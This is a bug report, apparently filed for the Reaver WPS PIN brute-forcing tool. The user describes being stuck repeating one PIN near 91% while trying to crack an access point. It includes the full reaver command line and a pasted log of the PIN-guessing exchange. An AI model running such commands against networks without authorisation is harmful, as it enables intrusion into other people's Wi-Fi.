Answer the following questions for every issue submitted:
0. What version of Reaver are you using? (Only defects against the latest
version will be considered.)
1.4
1. What operating system are you using (Linux is the only supported OS)?
BT5 R3
2. Is your wireless card in monitor mode (yes/no)?
Yes
3. What is the signal strength of the Access Point you are trying to crack?
-78 dB
4. What is the manufacturer and model # of the device you are trying to
crack?
Airtes
5. What is the entire command line string you are supplying to reaver?
reaver -i mon0 -b xx:xx:xx:xx:xx:xx -c 11 -vv --no-nack -f -x298
6. Please describe what you think the issue is.
Reaver trying same pin from %90.90 and then i write this command with -p
xxxxxxxx, then reaver try the pin which i write again again.. But this time
percent increase like %91.10 , %91.45 etc. I didnt understand what really
happened.
Please help me on this problem. Thanks.
7. Paste the output from Reaver below.
[+] Trying pin 11168782
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11168782
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[!] WARNING: Receive timeout occurred
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] 91.17% complete @ 2013-05-16 12:14:47 (3 seconds/pin)
[+] Trying pin 11168782
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M3 message
[+] Sending M4 message
[+] Received WSC NACK
[+] Sending WSC NACK
[+] Trying pin 11168782
[+] Sending EAPOL START request
[+] Received identity request
[+] Sending identity response
[+] Received M1 message
[+] Sending M2 message
[+] Received M1 message
[+] Sending WSC NACK
[+] Sending WSC NACK
Original issue reported on code.google.com by ibrhmky1 on 15 May 2013 at 9:29
Original issue reported on code.google.com by
ibrhmky1
on 15 May 2013 at 9:29